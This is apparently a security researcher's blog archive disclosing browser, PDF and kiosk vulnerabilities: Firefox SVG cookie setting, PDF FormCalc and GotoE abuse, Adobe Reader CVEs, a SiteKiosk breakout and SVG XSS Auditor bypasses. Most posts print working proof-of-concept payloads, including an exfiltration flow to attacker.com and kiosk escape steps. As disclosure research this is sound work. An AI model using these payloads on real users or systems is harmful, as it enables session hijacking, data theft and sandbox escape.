Tuesday, December 6, 2016

Firefox - SVG cross domain cookie vulnerability

SVG - Setting cookies cross domain via img tag

I recently read that browsers allow to use meta tags to set cookies. I am not sure if I just forgot about this feature or never used it before. As I played with SVG in the past I decided to give it a try. 
The SVG standard does not include the meta tag but it supports the foreignobject tag:

The <foreignObject> SVG element allows for inclusion of a foreign XML namespace which has its graphical content drawn by a different user agent.

An simple example taken from mdn shows how to use the XHTML namespace inside a SVG file:
<foreignObject width="100" height="50"
<!-- XHTML content goes here -->
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>

Setting the cookie

I adapted the example and pointed the Browser to the following SVG:
<svg xmlns='http://www.w3.org/2000/svg'>
<circle r='100'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<meta http-equiv='Set-Cookie' content='ppp=qqq' />
The hosting domain now has a cookie ppp=qqq.
The next step was to try, what will happen if another domain is loading this SVG file:
// Domain: http://example.com
<!DOCTYPE html>
<img src="http://attacker.com/cookie.svg">
Sadly the cookie was set for attacker.com, not for example.com.

Redirects + data uris

The final trick to make things work was to use the data: protocol handler and redirects.
Assume the following code on the domain example.com
<!DOCTYPE html>
<img src="http://attacker.com/cookie">
The webserver at attacker.com uses the following response code:

HTTP 302 Found
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>

As soon as I opened this test case in Firefox, a cookie was set for example.com. This can introduce a lot of different vulnerabilities for web pages, which allow to include images from external/third party sites.
Another issue popped up during the investigation of the issue via the firefox team, which can be read here as soon it is public:

The bug bounty decision is still in progress.

I have to thank my Cure53 mates, who helped playing with this vulnerability (especially Masato)

Friday, February 12, 2016

MHTML: x-usc - A feature from the past

What is mhtml ?

For those who have never saved a complete web page in Internet Explorer, mhtml or its extensions .mht is most likely unknown. MHTML stands for MIME Encapsulation of Aggregate HTML Documents. Wikipedia describes it as a "web page archive format used to combine in a single document the HTML code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".
It caused some troubles in the past, but I am not talking about those problems.

mhtml: handler - Internet Explorer

The mhtml handler can be used to specify a specific file inside a .mht file. It is used like this:

<img src="mhtml:http://example.com/file.mht!/image/image.jpg">

But it can do more than this. The interesting feature is how external links are implemented inside .mht files. It uses the x-usc: directive. This directive works always, no matter what file or what web page is addressed and also in the context of html pages. All you need is to specify the mhtml: handler.
Copy & paste the following url into the address bar of Internet Explorer:


Look closely at the requests IE will send. It will fetch google.com as well as bing.com, which is then displayed. This can be concatenated even more:


Side Note: Edge does not recognize mhtml: via Copy&Paste. But when you change the location via JavaScript to a mhtml: uri, it works the same as in IE.

Of course this feature can be used in img tags, iframe, embed etc. Also any redirects in any of the concatenated web sites will be followed.

Have Fun playing with this feature, I have not discovered any important vulnerability so far :/

Tuesday, May 26, 2015

PDF - Mess with the web

PDF - Mess with the web

In this post I am going to talk about the vulnerabilities I found during the research for my AppSec Talk in Amsterdam.


Javascript execution via GotoE

PDF supports a lot of different Actions. These actions can be used to execute PDFs Javascript, change the location of the document, open a print dialog etc.
One of the action is the so called GotoE action. This action is able to change the location of the document eg. /GotoE /F (http://example.com). Normally handlers like javascript: are forbidden to prevent XSS attacks. This protections seems not in place if a PDF is loaded via an <embed> or <object> tag. If a PDF specifies a location like /GotoE /F (javascript:alert(location)) the javascript will be executed in the context of the embedding page.

Formcalc and header manipulation

I already wrote about the capability of formcalc to read same origin files.
The formcalc language offers another feature, which is quite powerful.
The POST function has five parameters, the last one lets you specify any http headers you want. You can set ANY header you want (besides the USER-Agent) and they replace the header a browser would send normally like a different Host header, Content-Type, Content-Length, Referer etc.

Note: You can use this so send specially crafted requests cross origin, as long as you don't care about the response. When a POST with custom headers is sent same origin but the response is a 307 temp. redirect, Acrobat Reader will follow the redirect, preserve the headers and send the request but you won't be able to read the response.
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% a little bit modified to show possible header injection via formcalc

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">

    <subform name="_">
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
                    Post("http://sameOrigin.com/index.html","YOUR POST DATA","text/plain","utf-8","Content-Type: Dolphin&#x0d;&#x0a;Test: AAA")

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
            /XFA 1 0 R
        /Pages <<>>


I found two possible ways to use external entities in PDF. The payloads are good documented in my presentation so I am not going to describe here more.


To protect yourself it is recommended to enable the Protected View in Adobes security settings. This will prevent the presented XXEs attacks. It is also possible to disable the Javascript support in the pdf reader. Most PDFs should work fine without the support of JS.

Tuesday, April 21, 2015

VBScript Support in Spartan

Windows 10 - Spartans forgotten VBScript support

Taken from:
 [...] Gone were document modes. Removed was the subsystem responsible for emulating IE8 layout quirks. VBScript eliminated. 

I really liked to read that Spartan finally dropped VBScript support completely. But of course I was curious if this is really the case. Maybe they have forgotten a feature, in a different context than html, which supports VBScript too.
Because you are reading this blog entry right now it is obvious they did ;)


I was playing around with XML and XSLT and the possible attack vectors when I came across this interesting msdn page: msxsl:script.

Internet Explorer and Spartan support a tag in XSLT, which is called msxsl:script. It can be used to call JScript or VBscript in XSLT and use the return value.
You don't have access to the DOM etc, but native VBScript functions still work in Spartan.

Note: IE 11 in Edge mode will execute the VBScript too.


<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="xml_stylesheet.xsl" type="text/xsl"?>
  <title>Empire Burlesque</title>
  <artist>Bob Dylan</artist>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
<msxsl:script language="VBScript" implements-prefix="user">
Function xml()
 xml = Timer
End Function
<xsl:template match="/">
  <h2><xsl:value-of select="user:xml()"/>My CD Collection</h2>
    <table border="1">
      <tr bgcolor="#9acd32">
        <th style="text-align:left">Title</th>
        <th style="text-align:left">Artist</th>
      <xsl:for-each select="catalog/cd">
        <td><xsl:value-of select="title"/></td>
        <td><xsl:value-of select="artist"/></td>

<html xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
<h2>55791.859375My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th style="text-align:left">Title</th>
<th style="text-align:left">Artist</th>
<td>Empire Burlesque</td>
<td>Bob Dylan</td>

Saturday, December 13, 2014

Multiple PDF Vulnerabilities - Text and Pictures on Steroids

@irsdl brought two import links to my attention:
2010 formcalc: http://t.co/6OfGLa9Cu1
2013 XXE + SOP Bypass: http://t.co/VZMSVg3HtN

It seems like Adobe knew about the SOP issue since January 2013.
I rediscovered the SOP Bypass + formcalc feature.

I had the pleasure to talk at the HackPra in Bochum on 22.10 this year.
My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues.
Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube.

Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context.

GotoE or GotoR - No Protocol Restrictions

Status: Unfixed
Reality: 50% fixed

The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to
tell PDF to load PDFs from a different location.
Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to
file:///,mk-its: etc. They fixed it for GotoR but GotoE still works.
In context of webbrowsers it gives you the possibility to iframe the local file system etc.
Javascript and VBscript were forbidden, so no XSS possibility :/

1 0 obj
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R

7 0 obj
 /Type /Action
/S /GoToE /F (file:///C:/) /D (Chapter 1)

Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)

Status: fixed
Reality: fixed

Before I am going to explain the vulnerability you should have a look at another vulnerability
in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well

There are two major steps to get privileged Javascript execution:
1) Get our function marked as a trusted or trust propagator function
2) After it is marked as a trust propagator, get it called by an already trusted function.

The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter.
To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements,
but one specific predefined function helped a lot. See yourself:

The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function.
Lets say, this wasn't the best idea ;)
The first major step is done.
Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve.
Lets have a look at the following pre defined function:

We can influence doc.path.match and let it point to our trustedproperty function.
As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example.
The PoC reads a local file from C:\test.txt:

Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now.

Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)

Status: Fixed
Reality: Not Fixed

This one is about a simple XXE I discovered.
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in
XMLData.parse. It was possible to use external entities and reference them.
I read the specification and it turns out there are more functions than "parse" to read XML.
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.
It worked:


The Impact is limited because
 o) it is limited to same origin
 o) HTML Pages break the xml
 o) Dynamic Entities are not supported
 o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.

But it still can be used to read JSON.

Same origin policy bypass in Reader (CVE-2014-8453)

Status: fixed
Reality: fixed but same origin still vulnerable!

In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you
how powerful/terrifying PDF can be.
Many people know that PDF supports a scripting language called Javascript but there is another one.
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.
We can then use 'POST' to send the return content to our own server:

var content = GET("myfriends.php");

These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.

To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.


After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser
as a proxy (@beef still working on the module^^)

The bypass is really simple:

1. User A loads evil.pdf from http://attacker.com/evil.pdf
2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php
3. redirect.php redirects with 301 to http://facebook.com
4. Adobe reader will follow and read the response without looking for a crossdomain.xml.
5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php

This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.

Tuesday, September 16, 2014

SiteKiosk - Breakout

SiteKiosk - Breakout

It has been a while since my last blog post, therefore I am going to share two possible bypasses for the software SiteKiosk on Windows. As the name suggests, it is a kiosk software ^^.
SiteKiosk is a software from Provision GmbH. It claims to have more than 250.000 installations world wide, which would make it to one of the most used software in the "Public Access Terminal Software" category.
It has a lot of features, but my only goal was to break out of the sandbox and start an external application.
In the end my findings produced a new beef modules.

Meet the enemy

Provision GmbH offers a trial version, which has nearly all features enabled. The only restriction is that it will sometimes annoy you with a 30 second timeout.
It uses IE as a rendering engine and has support for flash + PDF. So there is a lot to play with ;)

SiteKiosk greeting message

The Bypasses

Step one: Get a file on the file system
Step two: Execute it!

Getting a file on the system

After some tests it turned out that SiteKiosk is pretty good at blocking any dialogs which are triggered by changing the location. It also blocks all of the handlers I tested like "its:" and "file:". Additionally it checks iframes too and blocks any dialogs.
But javascript is powerful and with this "power" comes the possibility to trigger downloads ;).
The function I am talking about is window.navigator.msSaveOrOpenBlob.
The first parameter is a blob, which represents the data. The second parameter is the file name

bb = new MSBlobBuilder();
bb.append("THE DATA");

Click Download and the first step is done.

But there is another bypass, which is also really simple. I thought if javascript is able to trigger downloads, there is most likely another language, maybe a plugin, which could do the same.
Of course I am talking about flash and actionscript. Like javascript it can trigger a download dialog, which is not blocked by the sitekiosk sandbox. I will give an example code at the end of the text.
Next step, find a place to save the file and execute it.

Execution time


So you can download file, whats next? There are different things you can do. In case of a download triggered by javascript, you need to find a location where you can save and execute an executable. I chose "C:\users\public\downloads". Most of the time the download dialog won't let you specify the location. To bypass this restriction, use shell:ProgramFiles in the address bar of the download dialog. It will change the address bar to "C:\Program Files". Now you can go back to C: and specify the location.

If you are lazy, you can trigger a download of a .hta file. HTA files are html applications, which are rendered by mshta.exe. Yes, by default it is not blocked. HTA are html files with all the power, which means they can execute any ActiveX Object. Additionally it does not matter where you save them, because they are interpreted by mshta.exe and not executed in the location they are saved (in contrast to .exe).


In case of flash you will see that after finishing the download there is no no run button and no dialog at all. In contrast to JavaScript, this behavior makes it more difficult to execute a file.
Another problem is that you can't do a double click in a download window, so you can't download a .exe, reopen the download window and double click it. But there is a way around this problem too.
To execute a .exe via a flash download do the following:
  1. Trigger the download via flash. Save the exe in any location.
  2. Trigger the download again. Rename the previously downloaded exe so that it will not be overwritten by the second download. So you end up with two executables in the same location.
  3. Open the download window a last time. But instead of specifying a location to save, you drag the icon of one executable into the other one. This will start the program and the other one is treated as an argument. It is like dragging a file into notepad.exe to open it. 

This trick only works for executables. But there is another way to start interpreted files like hta:

  1. Create on your local pc a lnk (a shortcut file), which points to "C:\windows\system32\mshta.exe". Trigger the download of this file via flash.
  2. Trigger the download of your hta script file. Save it in the same location as the previous downloaded file.
  3. Open the download window. Now you drag your .hta script file into the mshta.exe.lnk file. This will pass the file to the real mshta.exe, which is then executed. 


To protect your sitekiosk application you need to do 2 things.
First you need to block all possible script applications like mshta. This can be done with the System Security Assistent.
Second you need to lock down all location where it is possible to store and execute files. An example is C:\users\public\downloads.

Wednesday, February 5, 2014

SVG Fun Time - Firefox SVG Vector + Bypassing Chrome XSS Auditor

I played around with SVG and the <use> element and found some interesting things, which I want to share. I do not know if anyone already posted some information about that. Let me know, if there is already information out there :)

SVG - <use> element

The <use> element is used in SVG to reuse other elements. It is mainly used in combination with <defs> and alike. However we are going to use it to reference elements in an external SVG file.
Elements are referenced by their id prepended with a '#' sign inside the xlink:href attribute of the <use> tag.
This needs to be done for external elements too.

Basically the structure looks like this:

<use xlink:href='external.svg#rectangle' />

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />

The file external.svg starts with a <svg> tag with the id set to rectangle, which draws a rectangle by using the <rect> tag. It is possible to surround the <rect> element with a <a> tag, which creates a  Hyperlink. By using the JavaScript url scheme the click-able Hyperlink will execute JavaScript, when clicked.

Even if the SVG is loaded via a <use> tag, the JavaScript will be executed. It is important to note that it is only possible to load SVG files, which are residing on the same origin.

Because it is mandatory that the loaded external SVG is same origin, this features seems not like a good XSS attack vector.
But Firefox really helps to improve this attack vector.
First of all, you can use the data: url scheme. It allows us to create a file internally, on the fly. It requires the correct mime-type, which is image/svg+xml. The mime-type is either followed by the payload or by the keyword base64. It specifies, that the data is base64 encoded, which helps avoiding problems breaking the HTML structure.
Now we do not have to rely on another file on the same server:

<use xlink:href="data:image/svg+xml;base64,
mc+#rectangle" />

Decoded base64 payload:
<svg id="rectangle" 
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />

Again the browser will display a black rectangle, which will alert the location when clicked.

But why bothering the victim to click anything. They never do what they should do ;).
<script> tags in external.svg are not parsed, but SVG supports the <foreignObject> element.
By specifying the required extensions attribute of this object, it is possible to load non SVG elements.
This means it is now possible to use <iframe>,<embed> and all the other supported HTML elements. We can try a bunch of elements to execute JavaScript.
I chose the <embed> tag + JavaScript URL scheme.

Assume the following SVG:
<svg id="rectangle"
width="100" height="100">


<foreignObject width="100" height="50"

<embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" />


It will load via the <foreignObject> the embed tag, which uses a JavaScript URL scheme to execute JavaScript.
Again we base64 encode the payload to load it via the data: scheme.

<use xlink:href="data:image/svg+xml;base64,
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />

In the case that test.html is opened in Firefox, it will alert the location.
So we have another vector in SVG to execute JavaScript :)

As a side not, the payload also contains a <script>alert(1)</script>, which should proof that <script> tags are not parsed.

XSS Auditor Bypass

Let us use this feature against Chrome. Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag.
Additionally I did not find a way to execute JavaScript without user interaction. 
But at least I can give you a Blink/Webkit XSS Auditor bypass with user interaction.
No Parameter Pollution is used and only one parameter is necessary. This is mentioned, because Blink/Webkit XSS Auditor does not catch XSS attacks, which are broken-up into two or more parameters.

Assume the following PHP script:
echo "<body>";
echo $_GET['x'];
echo "</body>";

The script is vulnerable to XSS.
But using a payload like 
http://vulnerabledoman.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg> will trigger the XSS Auditor.
So let us use the <use> element!

Creating the
SVG on the fly

We want to load another external SVG file, so we begin with <svg><use xlink:href=
But wait, it has to be same origin and we can't use the data scheme. How do we get a file on the server?
It is simple, we use the XSS vulnerability twice in a row!

First we build the URL, which crafts the the SVG, which contains the Javascript URL scheme:
x=<svg id="rectangle" 
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100" />
If you paste this URL (with the correct ip;) into a browser, with no XSS filter, it will display the black rectangle again. But I already mentioned, that
XSS Chrome Auditor will catch this attack. Let us continue.

Now we are going to use the created SVG file (green URL) in the <use> element. The now crafted URL will look like this:
x=<svg><use height=200 width=200
?x=<svg id="rectangle"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100"/>

Do not forget to url encode:

This will display the rectangle again, which will alert when clicked, but this time without triggering the XSS Auditor :)
Hope you enjoyed my bypass.